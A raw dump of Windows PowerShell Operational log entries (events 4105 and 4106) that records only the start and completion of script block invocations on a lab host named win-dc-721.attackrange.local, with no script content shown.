Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478542
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478541
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478538
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478536
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478535
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478532
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478530
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478529
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478528
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478527
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478525
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478523
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478521
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478519
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478517
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478515
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478513
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478511
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478510
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478509
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478507
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478505
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478501
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478499
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478498
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478497
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478495
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478493
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478492
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478491
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478489
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478488
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
